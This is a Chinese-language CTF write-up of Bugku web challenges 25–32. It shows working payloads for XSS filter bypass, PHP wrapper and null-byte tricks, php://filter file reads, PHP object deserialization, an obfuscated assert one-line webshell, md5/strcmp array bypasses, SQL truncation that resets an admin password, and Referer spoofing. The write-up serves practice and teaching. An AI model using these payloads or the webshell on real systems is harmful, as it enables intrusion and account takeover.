bugku web 25-32 write up
XSS
打开页面,如图:
注意:这里以id为参数,一般这种题没提示参数的话就是ID,初次这种题的人可能回懵。
查看源码:
<!doctype html>
<html lang="en">
<head>
...
</head>
<body>
...
<div id="s"></div> <!--id = s-->
...
<script>
var s=""; document.getElementById('s').innerHTML = s;
<!--获取s变量,将其插入ID=s 的div标签-->
</script>
</body>
</html>
构造payload:<input type='submit' onclick=alert(_key_)>
发现直接输出,查看源码发现将<>
转义为了实体字符<>
考虑用unicode编码绕过:js中<>
分别可用\u003c
和\u003e
代替
payload:\u003cinput type='submit' onclick=alert(_key_)\u003e
得到flag
p:由于不是很熟悉javascript,我之前使用的payload是:
<script>alert(/xss/)</script>
,
尖括号替换后依然弹不出框,原因是<scrpit>
与之前的<script>
标签发生了冲突,出现了语法错。
never give up
打开网页,查看源码,提示1p.html
,访问发现会跳转,直接查看源码也可用burp拦截跳转:
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words); //unescape() 函数可对通过 escape() 编码的字符串进行解码。
document.write(NewWords);//用来向网页文档输出内容
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
得出Words变量中含有跳转网页的语句,直接write到网页会执行,直接对文本进行url解码
<sript>window.location.href='http://www.bugku.com';</sript>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
base64解码再url解码:
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //查找指定字符串在原字符串中第一次出现的位置
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
//strlen - 获取字符串长度
//eregi - 不区分大小写的正则表达式匹配
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
这里可以通过直接访问”f4l2a3g.txt”得到flag,但这应该不是出题者的本意
到这里就卡住了,直到参考别人的write up才弄明白:
https://ciphersaw.me/2017/12/26/%E3%80%90Bugku%20CTF%E3%80%91%20Web%20%E2%80%94%E2%80%94%20never%20give%20up/
这道题应该算是博大精深了,知识点很多。
代码解析:
- 第 2 行:限制 URL 查询字符串中必须有非空非零变量 id
- 第 10 行:限制变量 $a 中不能含有字符
.
- 第 15 行:要满足以下 5 条表达式才会爆 flag:
- 变量
$data
弱等于字符串bugku is a nice plateform!
- 变量
$id
弱等于整型数0
- 变量
$b
的长度大于5
- 字符串
1114
要与字符串111
连接变量$b
的第一个字符构成的正则表达式匹配 - 变量
$b
的第一个字符弱不等于整型数4
- 变量
php弱类型比较
由上图可知,变量$id
若想满足非空非零且弱等于整型数0
,则 $id
的值只能为非空非零字符串,这里假设 $id = "asd"
。
详情参考:php弱类型比较表
PHP 伪协议
源码中变量 $data
是由file_get_contents()
函数读取变量$a
的值而得,所以$a
的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给$a
,显然不太现实。因此这里用伪协议 php://
来访问输入输出的数据流,其中 php://input
可以访问原始请求数据中的只读流。这里令 $a = "php://input"
,并在请求主体中提交字符串 bugku is a nice plateform!
。
详情参考:php伪协议
eregi() 截断漏洞
CTF 题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 $b
的第一个字符组成,若令 substr($b,0,1) = "\x00"
,即满足 “1114” 与 “111” 匹配。因此,这里假设$b = "\x0012345"
,才能满足以上三个条件。
有关 PHP 的各种黑魔法可参考:
解题:
payload:http://120.24.86.145:8006/test/hello.php?id='asd'&a=php://input&b=%00444444
抓包,在请求体中添加bugku is a nice plateform!
welcome to bugkuctf
参考自他人
打开网页提示源码:
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
代码解析:
1.三个get参数 txt file password
2.$user
存在且不为空,读取$user
文件,内容为welcome to the bugkuctf
3.满足if条件,引入$file
指定的文件,提示 hint.php
可通过PHP://input绕过if判断,因为hint.php是php文件不能通过网页直接查看源码,可以用PHP://filter将hint.php过滤为可以base64码通过网页输出。
PHP://filter 详情:http://www.cnblogs.com/likai/archive/2010/01/29/1659336.html
php:// 详情请参考:http://php.net/manual/zh/wrappers.php.php
payload:http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=12
抓包在消息体中提交:welcome to the bugkuctf
返回hint.php的base64源码,解码得到:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
发现文件flag.php,直接修改参数访问显示:hello friend!<br>不能现在就给你flag哦
看来还有玄机:想到访问index.php(这一点很容易遗忘),获取其源码如下:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){ //正则匹配
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password); //反序列化
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--...-->
代码解析:
1.第8行:对$flag
进行正则表达式匹配,将关键字 flag 过滤了。
2.第14行,对$flag
进行了反序列化
魔术方法 __toString()
魔术方法 __toString() 定义在类中,在该类的对象被当成字符串打印时执行,并且必须返回一个字符串,否则出现报错。
因此在 hint.php 中,当 Flag 类的对象被打印时,将获取 $file
变量中文件的内容并输出,最后返回字符串 good。(注意此处的$file
与 index.php 中的不同)
解释:PHP 中变量与方法的命名一般遵循小驼峰式命名法
,类的命名一般遵循大驼峰式命名法
,也称帕斯卡命名法
,并且普通变量、超级全局变量、常量、数组索引
等区分大小写,而函数名、方法名、类名、魔术变量
等不区分大小写,但最好使用与定义一样的大小写名字。因此看到此魔术方法定义为__toString()
,在源码中却是__tostring()
就不足为奇了。
解题:
通过php://filter绕过if判断后,再通过$file
导入hint.php文件,引入Flag类,再通过$password
传入序列化字符串($flag
值为flag.php),反序列化后echo输出调用__toString()魔术方法,输出flag.php文件的内容。
payload: ?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
抓包在消息体中传入:welcome to the bugkuctf
得到flag。
过狗一句话
题目描述:送给大家一个过狗一句话
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); //将字符串打散为数组,按#分割
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; //assert
$poc_2($_GET['s'])//接受get参数 s,并执行
?>
直接提示了一段代码,是assert任意代码执行。
payload:
http://120.24.86.145:8010/?s=print_r(scandir('./')
scandir('dir')
:返回目标路径的目录数组
发现flag.txt,直接访问得到flag
字符?正则?
打开网页显示如下代码:
<?php
highlight_file('2.php'); //对文件进行语法高亮显示。
$key='KEY{********************************}';
/***preg_match()匹配字符串并用指定字符替代,trim()去除字符串首尾处的空白字符*******/
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
够造满足正则匹配的id参数即可,这里简单分析一下这个正则:
. 匹配任意字符
* 前一个字符0次或无限次扩展
{m,n} 匹配前一个字符m到n次
\ 转义字符
[] 对单个字符给出取值范围
[[:punct:]] 匹配任意标点符号
payload:id=keyakeyaaaakey:/a/akeya.i
前女友(SKCTF)
一大段文字,查看网页源码,发现藏了一个链接。点开链接显示如下代码:
<?php
/********接收get参数 v1 v2 v3********************/
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
/*********获取flag的条件************************************/
if($v1 != $v2 && md5($v1) == md5($v2)){
//v1,v2 值弱不等,MD5值弱相等
if(!strcmp($v3, $flag)){ //strcmp比较字符串大小
//v3与$flag相等
echo $flag;
}
}
}
?>
简单的看下就明白是php中md5()函数漏洞和strcmp()函数漏洞的利用(问狗哥)
所以简单构造下数组就可以了
payload:http://47.93.190.246:49162/?v1[]=1&v2[]=2&v3[]=1
login1(SKCTF)
hint:SQL约束攻击
主要知识点:
数据库字符串比较:在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致,比如,字符串A:[String]和字符串B:[String2]进行比较时,由于String2比String多了一个字符串,这时MySQL会将字符串A填充为[String ],即在原来字符串后面加了一个空格,使两个字符串长度一致。看如下两条查询语句: select * from users where username='Dumb'
select * from users where username='Dumb '
它们的查询结果是一致的,即第二条查询语句中Dumb后面的空格并没有对查询有任何影响。因为在MySQL把查询语句里的username和数据库里的username值进行比较时,它们就是一个字符串的比较操作,符合上述特征。
INSERT截断:这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
解题:
打开网页,一个登陆页面,一个注册页面,提示sql约束攻击
先打开注册页面注册admin(我也不知道为什么是admin,可能是经验吧),显示该账号已被注册。 payload:
username:admin+n多空格+1
password:任意满足条件的密码
提交截断达到修改admin密码的目的
使用刚才的密码登陆admin账号得到flag。
你从哪里来
are you from google?
很明显修改Referer头:Referer:https://www.google.com
得到flag
关于referer的介绍
当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
下一篇: BUU CTF web题write up